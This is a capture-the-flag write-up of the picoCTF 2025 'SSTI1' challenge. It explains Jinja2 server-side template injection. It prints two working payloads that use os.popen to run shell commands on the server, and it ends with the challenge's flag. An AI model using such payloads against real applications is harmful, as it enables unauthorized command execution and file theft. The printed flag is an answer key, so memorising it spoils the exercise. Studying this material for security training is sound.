[picoCTF 2025] SSTI1

Introduction
SSTI1 is a beginner-friendly web challenge where you learn how to trick a website into running hidden code by taking advantage of how it builds its pages.
Information Gathering
The application at a glance
Enumeration
I tested the vulnerability by inputting {{7 * 7}}, which is a typical template expression in Flask using Jinja2.
The application returned 49, the result of 7 * 7, confirming that it is using Jinja2 and is vulnerable to Server-Side Template Injection (SSTI).
The Bug
The website is vulnerable to Server Side Template Injection
As per OWASP, Server Side Template Injection vulnerabilities (SSTI) occur when user input is embedded in a template in an unsafe manner and results in remote code execution on the server.
Exploitation
I used a payload to identify the location of the flag. I discovered that the flag is located at /challenge/flag.
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('find / -name flag 2>/dev/null').read() }}
- self.init.globals — enables access to the self object’s global variables through the init method. This is a method for accessing Python’s internal workings.
- .builtins — python’s built-in functions and modules, such as open(), eval(), import(), and others, are accessed from the globals.
- .import(‘os’) — accesses operating system capabilities by importing the OS module using the built-in import() function.
- .popen(‘find / -name flag 2>/dev/null’) — carries out a shell command using os.popen(). This command searches the file system for any files with the name flag.
- find / -name flag — Looks for a file with the name flag beginning at the root /
- 2>/dev/null — suppresses error notifications (such as permission denied)
Now that I knew where the flag was, I modified the payload to read the contents of the flag directly.
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /challenge/flag').read() }}
Flag
picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_99fe4411}